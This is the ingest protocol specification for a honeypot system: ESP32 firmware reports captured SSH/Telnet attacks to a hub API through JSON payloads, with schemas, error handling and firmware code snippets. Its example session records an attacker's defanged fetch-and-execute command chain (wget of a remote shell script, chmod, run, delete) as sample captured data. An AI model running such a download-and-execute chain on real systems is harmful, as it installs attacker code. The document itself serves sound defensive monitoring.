HoneyMire Hub :: Ingest Protocol — v1
This document is the canonical contract between a HoneyMire honeypot device (the firmware) and a HoneyMire Hub instance (the hub). The firmware MUST produce payloads conforming to this spec; the hub MUST accept any payload conforming to this spec.
- Protocol version:
honeymire.attack/v1 - Status: stable
- Last updated: 2026-05-03
- Firmware project: https://github.com/KaSt/HoneyMire
HoneyMire runs on multiple ESP32 boards — see §3.3 for the full list of hardware variants the hub recognizes.
The terms MUST, SHOULD, MAY are used with the meaning of RFC 2119.
1. Endpoint
POST /api/v1/ingest
The path is fixed. Hub deployments live at user-chosen origins
(e.g. https://honeymire-hub.herokuapp.com or a custom domain); the
firmware MUST prepend the user-configured origin to this path.
The hub also exposes:
| Method | Path | Purpose |
|---|---|---|
| GET | /api/v1/whoami |
Verify a bearer token, returns { honeypot_id, name } |
| GET | /api/v1/attacks |
List the calling honeypot's own attacks |
| GET | /healthz |
Liveness probe |
This document only specifies POST /api/v1/ingest.
2. Authentication
Every request MUST carry a bearer token in the Authorization header:
Authorization: Bearer hop_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Tokens are issued by the hub when a user registers a honeypot
(/honeypots). The raw token is shown to the user exactly once; only
its SHA-256 hash is stored at rest. The user pastes the token into the
firmware's Hub reporter configuration.
- Format:
hop_followed by 32 base64url characters (192 bits of entropy). - Identity binding: the token uniquely identifies a single registered honeypot row on the hub. The hub knows the owner from the token; the firmware does NOT need to send a username.
- Rotation: the user may rotate the token at any time on the hub. Old tokens stop working immediately. Firmware SHOULD treat HTTP 401 responses as a hint to surface "token rejected" in its UI.
A request that lacks the header, has a malformed token, or has a token
the hub doesn't recognize MUST receive 401 Unauthorized.
3. Request body
3.1 Headers
Content-Type: application/json; charset=utf-8
UTF-8 is required. The hub MUST reject other charsets with 400.
3.2 Top-level shape
{
"schema": "honeymire.attack/v1", // string, required, exact match
"honeypot": { /* honeypot block */ },
"attack": { /* attack block */ }
}
The schema field is the version discriminator. Future revisions will
introduce honeymire.attack/v2 etc.; the hub MAY accept several versions
in parallel during migration windows.
3.3 The honeypot block
Identifies the device that captured the attack, NOT the user's hub account. The user binding is implicit in the bearer token.
| Field | Type | Req? | Notes |
|---|---|---|---|
device_id |
string ≤ 64 | ✔ | Stable across reboots. Recommended: hp- + lowercase hex of last 6 efuse-MAC bytes (hp-aabbccddeeff). MUST NOT change for the lifetime of the device. |
firmware_version |
string ≤ 32 | ✔ | Semver-ish, e.g. "0.4.2". Compile-time constant. |
firmware_build |
string ≤ 64 | ISO 8601 build timestamp or git SHA. | |
uptime_s |
integer ≥ 0 | Seconds since boot at the moment the attack was reported. | |
hardware |
object | ✔ | Static description of the physical board. See §3.3.1. |
3.3.1 honeypot.hardware
| Field | Type | Req? | Notes |
|---|---|---|---|
mcu |
enum string | ✔ | One of "esp32-c3", "esp32-s3". Case-sensitive. New MCUs add new enum values without bumping the protocol version. |
board |
enum string | ✔ | The known canonical values are listed in §3.3.2. Unknown values are accepted and stored verbatim, but the firmware SHOULD prefer a known label for any board the hub recognizes. |
display |
enum string | ✔ | Display controller / panel. One of "none", "ssd1306-72x40", "ssd1306-128x64", "ssd1306-128x32", "st7735-128x128". New values may appear in future firmware revisions. |
flash_mb |
integer ≥ 1 | Total flash in MiB. | |
psram_kb |
integer ≥ 0 | PSRAM in KiB. 0 if the board has no PSRAM. |
|
cpu_mhz |
integer ≥ 1 | Configured CPU clock at boot. Useful when comparing latency across the fleet. |
3.3.2 Supported board variants
These three variants are first-class — the hub renders board-specific icons and stats for them. Anything else is grouped under "other" but still fully supported.
board |
MCU | Display | Flash | PSRAM | Notes |
|---|---|---|---|---|---|
esp32-c3-supermini |
esp32-c3 |
ssd1306-72x40 (built-in OLED) |
4 MB | 0 | Original platform. The 0.42″ OLED on GPIO 5/6, boot-button on GPIO 9 is the function button. Driver: U8g2. |
lilygo-t-qt-pro |
esp32-s3 |
st7735-128x128 (colour IPS) |
4 MB | 2 MB | LilyGO T-QT Pro. Despite vendor pages naming it GC9107, current units use an ST7735-class controller; the firmware ships a custom panel init. Driver: LovyanGFX. |
esp32-s3-n16r8 |
esp32-s3 |
none |
16 MB | 8 MB | Headless dev board. No screen; status reachable only via the web dashboard, the serial CLI, or the hub. The 16 MB flash + 8 MB PSRAM lets it keep much longer asciinema casts. |
The firmware MUST send the values exactly as written above (for
board, mcu, display). Wrong-cased values are rejected with 422.
3.4 The attack block
| Field | Type | Req? | Notes |
|---|---|---|---|
id |
integer ≥ 1 | ✔ | The firmware's local attack id. Combined with the honeypot identity (derived from the bearer token) it forms an idempotency key — see §5. |
ts |
string | number | ✔ | When the attack started. ISO 8601 UTC string (preferred), unix seconds, or unix milliseconds. |
duration_ms |
integer ≥ 0 | How long the session lasted. | |
protocol |
enum | ✔ | One of "ssh", "telnet". Future protocols (http, ftp, smb) will extend this enum. |
source |
object | ✔ | See §3.4.1. |
auth |
object | ✔ | See §3.4.2. |
session |
object | See §3.4.3 (asciinema recording lives here). | |
geo |
object | See §3.4.4. May be omitted; hub will fill in. | |
classification |
object | See §3.4.5. | |
reported_to |
array | List of intelligence services the firmware has already submitted this attack to. See §3.4.6. |
3.4.1 attack.source
| Field | Type | Req? | Notes |
|---|---|---|---|
ip |
string (IPv4/v6) | ✔ | Attacker IP. The hub validates that this parses as an inet address; otherwise rejects with 400. |
port |
integer 1..65535 | ✔ | Attacker source port. |
3.4.2 attack.auth
| Field | Type | Req? | Notes |
|---|---|---|---|
user |
string ≤ 200 | Username the attacker tried. May be empty. | |
pass |
string ≤ 400 | Password the attacker tried. | |
authenticated |
boolean | Whether the firmware let them in (after the configured threshold). | |
attempts |
integer ≥ 0 | Total credential attempts in the session. | |
ssh_pubkeys |
array of objects | SSH public keys offered before any password attempt (publickey-auth probes). One entry per offered key. See below. |
Each entry of ssh_pubkeys is:
| Field | Type | Req? | Notes |
|---|---|---|---|
type |
string ≤ 32 | ✔ | OpenSSH key type, e.g. ssh-ed25519, ssh-rsa, ecdsa-sha2-nistp256. |
fingerprint |
string ≤ 80 | ✔ | SHA256: + base64 fingerprint, exactly as ssh-keygen -lf prints. |
key |
string ≤ 800 | Raw base64 portion of the key (no ssh-rsa prefix, no comment). May be omitted for very large keys. |
3.4.3 attack.session
The transcript of the captured session. Optional but strongly recommended — the (input, output) pairs are the highest-signal forensic artefact a honeypot produces.
| Field | Type | Req? | Notes |
|---|---|---|---|
commands |
integer ≥ 0 | Distinct shell commands executed. | |
events |
array of event objects | Structured i/o transcript. See §3.4.3.1. This replaces the v0 cast_v2 inline string — the firmware no longer ships a fully-formed asciicast; the hub builds one. |
|
cast_truncated |
boolean | true if the firmware had to drop later events due to RAM/flash pressure. The hub surfaces a banner on the playback page. |
|
term |
object {cols,rows} |
Terminal dimensions the firmware presented. Defaults to 80×24 if absent. Used as the width/height of the reconstructed asciicast. |
Each entry of events is:
| Field | Type | Req? | Notes |
|---|---|---|---|
k |
enum "i"|"o" |
✔ | "i" = bytes the attacker sent (input); "o" = bytes the firmware sent back (output). |
d |
string ≤ 16 KiB | ✔ | The bytes themselves, JSON-string-escaped. The firmware SHOULD batch consecutive same-direction bytes into a single event — one event per direction-change is the recommended cadence. |
Total events payload (sum of all d lengths) is capped at 96 KiB;
the hub stops parsing past the cap and sets cast_truncated automatically
on the stored row. Up to 2000 events per session.
If events is omitted, the hub displays the attack with a no recording
notice but still keeps every other field.
3.4.3.1 Why a transcript instead of a full asciicast?
Earlier drafts of this protocol asked the firmware to send a fully-formed
asciicast v2 file inline as cast_v2. That turned out to be wasteful: the
ESP32 had to JSON-escape ~50 KiB of byte-level events through a tight heap,
and most of the payload was duplicated timing information the firmware
doesn't actually have wall-clock fidelity for anyway.
The new shape ships only the bytes that flowed in each direction. The hub reconstructs an asciicast v2 file with synthetic timings that look natural in the player:
- a brief settle delay (≈60 ms) before the first output event,
- ≈350 ms "thinking" pause before each input event (gives the playback its typed-by-a-human rhythm),
- ≈30 ms between consecutive output chunks, ≈40 ms after an input event.
These constants are tuned to look right; they are NOT representative of the attacker's real wall-clock pace. When an investigator needs the actual forensic stream, the original event order is preserved — the player just fakes the time axis.
3.4.4 attack.geo
All fields optional. The firmware SHOULD send what it has; the hub fills in any missing field via its own GeoIP provider when the attacker IP is public. See §6.
| Field | Type | Notes |
|---|---|---|
country |
string ≤ 80 | Full name, e.g. "Germany". |
country_code |
string == 2 | ISO 3166-1 alpha-2 (uppercase). |
city |
string ≤ 80 | |
region |
string ≤ 80 | First-level subdivision. |
isp |
string ≤ 200 | |
asn |
string ≤ 64 | "AS<n>" or "AS<n> <org>". |
lat |
number -90..90 | |
lon |
number -180..180 |
3.4.5 attack.classification
The firmware's behavioral fingerprint of the attacker.
| Field | Type | Notes |
|---|---|---|
profile |
string ≤ 32 | Free-form, but the recommended labels are: mirai, iot-loader, crypto-miner, scanner, creds-only, creds-probe, manual, scripted, lan, unknown. |
confidence |
integer 0..100 | Self-reported confidence. |
command_summary |
string ≤ 4 KiB | One-line-per-command digest (or any compact representation). Useful for the hub's list view. |
3.4.6 attack.reported_to
Array of strings naming intelligence services the firmware has already submitted this attack to. The hub treats this as informational metadata — the hub does NOT re-submit. Recognized values:
"abuseipdb""otx""shadowserver""threatfox"
Unknown values are accepted and stored verbatim. The hub displays the list in the attack-detail view as small icons / labels.
4. Response
4.1 Success
When the attack is new:
HTTP/1.1 201 Created
Content-Type: application/json
{
"ok": true,
"attack_id": 12345, // hub-side primary key, useful for future API calls
"hp_local_id": 42, // echoes attack.id
"geo_filled_by_hub": false, // true if hub completed missing geo fields
"received_at": "2026-05-03T19:08:42.789Z"
}
When the same (honeypot, attack.id) pair has already been ingested:
HTTP/1.1 200 OK
Content-Type: application/json
{
"ok": true,
"dedup": true,
"attack_id": 12345,
"hp_local_id": 42
}
4.2 Errors
| Status | Reason | Body shape |
|---|---|---|
| 400 | malformed JSON / missing required field / bad type | { "error": "<short reason>", "detail": "<field>" } |
| 401 | missing or unknown bearer token | { "error": "invalid token" } |
| 413 | payload exceeds the hub's body cap (default 256 KiB) | { "error": "payload too large" } |
| 415 | wrong Content-Type |
{ "error": "content-type must be application/json" } |
| 422 | known schema, but a value violates its constraints | { "error": "<short reason>", "detail": "<field>" } |
| 429 | per-IP rate limit | { "error": "rate limited" } + Retry-After: <s> |
| 5xx | hub is unhealthy | best-effort JSON; firmware MAY retry |
The firmware MUST NOT treat 400/401/413/415/422 as retryable —
those indicate a bug or stale config and re-sending will not help. 429
and 5xx are retryable with exponential backoff (recommended: 5s, 15s,
60s, 300s, give up after 5 attempts).
5. Idempotency
The pair (bearer-token-honeypot, attack.id) is the idempotency key. The
hub stores at most one row per pair. A re-send of the exact same pair
returns 200 OK with dedup: true and does not duplicate, modify, or
overwrite the existing row.
Implications for the firmware:
attack.idMUST be monotonically increasing per honeypot, persistent across reboots, and unique within the lifetime of the bearer token.- If a POST fails with a network error or
5xx, the firmware SHOULD retry with the sameattack.id. Doing so is safe. - If the firmware needs to update a previously-sent attack (e.g. add a
late asciicast or a late geo lookup result), it MUST use the dedicated
PATCH /api/v1/attacks/{hp_local_id}endpoint described in a future protocol revision; replaying the POST will not modify the existing row.
6. Geolocation handling
Order of precedence on the hub:
- Honeypot-supplied
attack.geo.*fields are taken at face value. - Hub fallback: if
attack.geois missing entirely, OR if it has nocountry_code, the hub performs its own GeoIP lookup viaip-api.com(free tier) on the attacker's IP. Resolved fields fill in any gaps; honeypot-supplied fields are NEVER overwritten. - Private/LAN IPs (RFC 1918, loopback, link-local, CGNAT, IPv6 ULA)
are never looked up. The hub records them with
geoleft empty and tags the attack as LAN-sourced in the dashboard.
The response field geo_filled_by_hub is true whenever step 2 actually
ran. Firmware SHOULD respect this signal — if the hub keeps having to do
geo for an IP the firmware has already seen, the firmware's local GeoIP
cache may be misconfigured.
7. Limits
| Limit | Default value | Notes |
|---|---|---|
| Maximum body size | 128 KiB | Server returns 413 past this. Down from earlier drafts because we no longer ship inline asciicasts. |
Maximum events payload |
96 KiB | Sum of d field lengths. Past this the hub stops parsing and sets cast_truncated. |
| Maximum events per session | 2 000 | Sanity cap on the array length. |
| Per-IP rate limit | 600 req/min | Sliding window. Returns 429 + Retry-After. |
| Per-token rate limit | (not enforced) | Future revision. |
| Idle keep-alive | 30 s | Firmware MAY use HTTP/1.1 keep-alive for back-to-back POSTs. |
A hub operator MAY raise or lower these per deployment; firmware should not assume the defaults.
8. Reference example
A complete, valid request body (from a C3 SuperMini):
{
"schema": "honeymire.attack/v1",
"honeypot": {
"device_id": "hp-aabbccddeeff",
"firmware_version": "0.4.2",
"firmware_build": "2026-05-03T17:11:09Z",
"uptime_s": 14233,
"hardware": {
"mcu": "esp32-c3",
"board": "esp32-c3-supermini",
"display": "ssd1306-72x40",
"flash_mb": 4,
"psram_kb": 0,
"cpu_mhz": 160
}
},
"attack": {
"id": 42,
"ts": "2026-05-03T19:08:42.123Z",
"duration_ms": 8421,
"protocol": "ssh",
"source": {
"ip": "203.0.113.7",
"port": 54321
},
"auth": {
"user": "root",
"pass": "12345",
"authenticated": true,
"attempts": 3,
"ssh_pubkeys": [
{
"type": "ssh-ed25519",
"fingerprint": "SHA256:abcdef0123456789abcdef0123456789abcdef01",
"key": "AAAAC3NzaC1lZDI1NTE5AAAAIDOAhSAj7m..."
}
]
},
"session": {
"commands": 5,
"term": { "cols": 80, "rows": 24 },
"events": [
{ "k": "o", "d": "Welcome to Ubuntu 18.04.6 LTS\r\nroot@ubuntu:~# " },
{ "k": "i", "d": "uname -a\r\n" },
{ "k": "o", "d": "Linux ubuntu 5.15.0-105-generic #115-Ubuntu SMP x86_64 GNU/Linux\r\nroot@ubuntu:~# " },
{ "k": "i", "d": "wget hxxp://203.0.113.7/x.sh -O /tmp/x.sh\r\n" },
{ "k": "o", "d": "Connecting to 203.0.113.7:80... connection refused\r\nroot@ubuntu:~# " },
{ "k": "i", "d": "exit\r\n" },
{ "k": "o", "d": "logout\r\n" }
],
"cast_truncated": false
},
"geo": {
"country": "Germany",
"country_code": "DE",
"city": "Berlin",
"region": "Berlin",
"isp": "Example ISP GmbH",
"asn": "AS12345",
"lat": 52.52,
"lon": 13.405
},
"classification": {
"profile": "mirai",
"confidence": 80,
"command_summary": "wget hxxp://203.0.113.7/x.sh; chmod +x x.sh; ./x.sh; rm -f x.sh"
},
"reported_to": ["abuseipdb", "otx"]
}
}
A successful response:
{
"ok": true,
"attack_id": 1024,
"hp_local_id": 42,
"geo_filled_by_hub": false,
"received_at": "2026-05-03T19:08:43.012Z"
}
9. Minimum-viable examples
For low-resource scenarios (e.g. when LittleFS is full and the firmware can't read the cast back, or for the very first probe), the absolute minimum the hub accepts on any of the three first-class boards:
9.1 ESP32-C3 SuperMini OLED
{
"schema": "honeymire.attack/v1",
"honeypot": {
"device_id": "hp-aabbccddeeff",
"firmware_version": "0.4.2",
"hardware": {
"mcu": "esp32-c3", "board": "esp32-c3-supermini",
"display": "ssd1306-72x40"
}
},
"attack": {
"id": 1,
"ts": 1714680522,
"protocol": "telnet",
"source": { "ip": "203.0.113.7", "port": 60123 },
"auth": { "user": "admin", "pass": "admin" }
}
}
9.2 LilyGO T-QT Pro (colour IPS)
{
"schema": "honeymire.attack/v1",
"honeypot": {
"device_id": "hp-112233445566",
"firmware_version": "0.4.2",
"hardware": {
"mcu": "esp32-s3", "board": "lilygo-t-qt-pro",
"display": "st7735-128x128",
"flash_mb": 4, "psram_kb": 2048
}
},
"attack": {
"id": 1,
"ts": 1714680522,
"protocol": "ssh",
"source": { "ip": "203.0.113.7", "port": 60123 },
"auth": { "user": "root", "pass": "root", "authenticated": false }
}
}
9.3 ESP32-S3-N16R8 (headless)
{
"schema": "honeymire.attack/v1",
"honeypot": {
"device_id": "hp-7788998877aa",
"firmware_version": "0.4.2",
"hardware": {
"mcu": "esp32-s3", "board": "esp32-s3-n16r8",
"display": "none",
"flash_mb": 16, "psram_kb": 8192
}
},
"attack": {
"id": 1,
"ts": 1714680522,
"protocol": "ssh",
"source": { "ip": "203.0.113.7", "port": 60123 },
"auth": { "user": "admin", "pass": "1234" }
}
}
The hub fills in geo, leaves cast_v2 empty (showing "no recording"),
and stores firmware_build, uptime_s, attempts, ssh_pubkeys,
classification, reported_to as null / empty arrays.
10. Curl test
To smoke-test a new device or hub deployment from a workstation:
curl -i -X POST https://your-hub.example/api/v1/ingest \
-H "Authorization: Bearer hop_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx" \
-H "Content-Type: application/json" \
--data @docs/example.attack.json
A correctly-configured hub returns 201 Created and the attack appears in
the user's dashboard within the next page reload (no caching).
11. Version history
| Version | Date | Changes |
|---|---|---|
| v1 | 2026-05-04 | Replaced the inline session.cast_v2 asciicast string with a structured session.events[] (i/o transcript). The hub now reconstructs the asciicast with synthetic timings; firmware no longer JSON-escapes a full asciicast on a tight heap. Body limit dropped 256 KiB → 128 KiB. Added optional session.term {cols, rows}. |
| v1 | 2026-05-03 | Initial public protocol. Nested schema; mandatory schema discriminator; ssh_pubkeys array; reported_to informational; idempotent on (honeypot, attack.id). Replaced the flat honeypot.display string with a structured honeypot.hardware object; added first-class enums for the C3 SuperMini, LilyGO T-QT Pro, and ESP32-S3-N16R8 boards. |
Backwards-compatible field additions to v1 are allowed without bumping
the protocol version. Anything that changes the meaning of an existing
field, removes a field, or adds a required field MUST bump to v2 and
both versions MUST be supported by the hub for at least one release
cycle.
12. Implementation notes (firmware)
These are non-normative recommendations for the agent implementing the
firmware side. The reference firmware lives at
https://github.com/KaSt/HoneyMire — diff against main for the
current implementation status.
12.1 device_id derivation
The same routine works on every supported board. ESP-IDF returns the 6-byte base MAC address regardless of MCU family.
uint64_t mac = ESP.getEfuseMac();
char buf[20];
snprintf(buf, sizeof(buf), "hp-%02x%02x%02x%02x%02x%02x",
(uint8_t)(mac >> 40), (uint8_t)(mac >> 32), (uint8_t)(mac >> 24),
(uint8_t)(mac >> 16), (uint8_t)(mac >> 8), (uint8_t)(mac));
12.2 Filling the hardware block
A single compile-time selector drives every per-board difference. The
firmware already exposes HONEYMIRE_DISPLAY_DRIVER (0 = headless,
1 = U8g2 mono, 2 = LovyanGFX colour); pick the corresponding row from
the table below at compile time and emit constants.
HONEYMIRE_DISPLAY_DRIVER |
mcu |
board |
display |
typical flash_mb / psram_kb |
|---|---|---|---|---|
1 (U8g2 mono OLED) |
esp32-c3 |
esp32-c3-supermini |
ssd1306-72x40 |
4 / 0 |
2 (LovyanGFX colour) |
esp32-s3 |
lilygo-t-qt-pro |
st7735-128x128 |
4 / 2048 |
0 (headless) |
esp32-s3 |
esp32-s3-n16r8 |
none |
16 / 8192 |
flash_mb and psram_kb are best-effort and may be queried at runtime:
hw["flash_mb"] = ESP.getFlashChipSize() / (1024 * 1024);
hw["psram_kb"] = ESP.getPsramSize() / 1024; // 0 on C3
hw["cpu_mhz"] = getCpuFrequencyMhz();
12.3 Building session.events
The firmware does NOT need to know about asciicast at all. Keep an
in-memory ring of {kind, bytes} records, append on every read/write
into the SSH/Telnet channel, and at session end serialize the whole
thing as a JSON array.
Recommended shape on the device:
struct SessionEvent { char k; String d; }; // k = 'i' | 'o'
static std::vector<SessionEvent> s_events;
static const size_t kMaxEventBytes = 96 * 1024;
static size_t s_event_total = 0;
static bool s_truncated = false;
void session_record(char k, const char* data, size_t len) {
if (s_truncated) return;
if (s_event_total + len > kMaxEventBytes) {
s_truncated = true;
return;
}
// Coalesce with previous event if same direction — minimizes
// per-event JSON overhead and keeps the array short.
if (!s_events.empty() && s_events.back().k == k) {
s_events.back().d.concat(data, len);
} else {
s_events.push_back({ k, String((const char*)data, len) });
}
s_event_total += len;
}
For the JSON, build an ArduinoJson::JsonArray and let the serializer
do the escaping:
JsonArray ev = doc["attack"]["session"]["events"].to<JsonArray>();
for (auto& e : s_events) {
JsonObject o = ev.add<JsonObject>();
o["k"] = String(e.k);
o["d"] = e.d; // ArduinoJson escapes the bytes for us
}
doc["attack"]["session"]["cast_truncated"] = s_truncated;
doc["attack"]["session"]["term"]["cols"] = 80;
doc["attack"]["session"]["term"]["rows"] = 24;
Per-board guidance:
- On the C3 SuperMini (no PSRAM, ~120-160 KiB free heap during a session) — keep the events ring small: 32 KiB total payload is plenty for any real attack. Drop the cap further if heap watermark trips.
- On the T-QT Pro (2 MB PSRAM) and S3-N16R8 (8 MB PSRAM) — use
the full 96 KiB cap; allocate the events vector in PSRAM
(
heap_caps_malloc(... MALLOC_CAP_SPIRAM)) so it doesn't compete with mbedTLS heap.
The hub builds a synthetic-timing asciicast from this data (see §3.4.3.1). The firmware does not need to compute timestamps.
12.4 Sending
Use WiFiClientSecure + HTTPClient. Set:
http.setReuse(true); // keep-alive across attacks
http.setTimeout(15000);
http.addHeader("Content-Type", "application/json; charset=utf-8");
http.addHeader("Authorization", String("Bearer ") + cfg.hub_token);
http.addHeader("User-Agent", "HoneyMire/" HONEYMIRE_VERSION);
Mirror the existing AbuseIPDB / OTX reporter pattern: enqueue on
intel_enqueue(attack_id), run the POST from the dedicated FreeRTOS
intel task so the AsyncTCP poll task is never blocked. Heap watermark
guard (the existing kTlsMinHeap) applies — skip and retry later when
free heap is below 32 KiB.
The C3 has the tightest TLS heap budget; the S3 boards have plenty of headroom and can run the hub reporter alongside AbuseIPDB+OTX without backing off as often.
12.5 Retry / dedup
- Persist
last_acked_attack_idin NVS. On boot, sweep the localattacks/log.jsonland re-POST anything with a higher id whose payload hasn't been acknowledged. Dedup is the hub's job — the firmware just resends. - Respect
Retry-Afteron429. - Drop
4xx ≠ 429permanently. On the C3/T-QT Pro, surface the failure on the screen for one boot-logo cycle; on the headless S3-N16R8 a singleSerial.printfto the dashboard log is enough.
12.6 Privacy of LAN attacks
The firmware already suppresses AbuseIPDB / OTX reports for RFC 1918 sources. It SHOULD NOT suppress hub reports — LAN attacks are valuable local data, and the hub renders them with a 🏠 badge. Reporting them only matters for the user's own dashboard, never for the public feed.
12.7 Display-side feedback (per board)
Optional, but it's a nice quality-of-life signal that an attack actually made it to the hub:
- C3 SuperMini OLED — when
intel_enqueuefinishes a successful hub POST, briefly flash a tiny "↑hub" glyph in the bottom-right of the existing attack icon for the same 15 s window. Re-uses the currentDisplay::showAttack()state machine. - LilyGO T-QT Pro — overlay a small green check on the attack icon when the hub ACKs. The colour panel makes this trivially legible across the room.
- ESP32-S3-N16R8 (headless) — surface in the Hub status card on the local web dashboard only.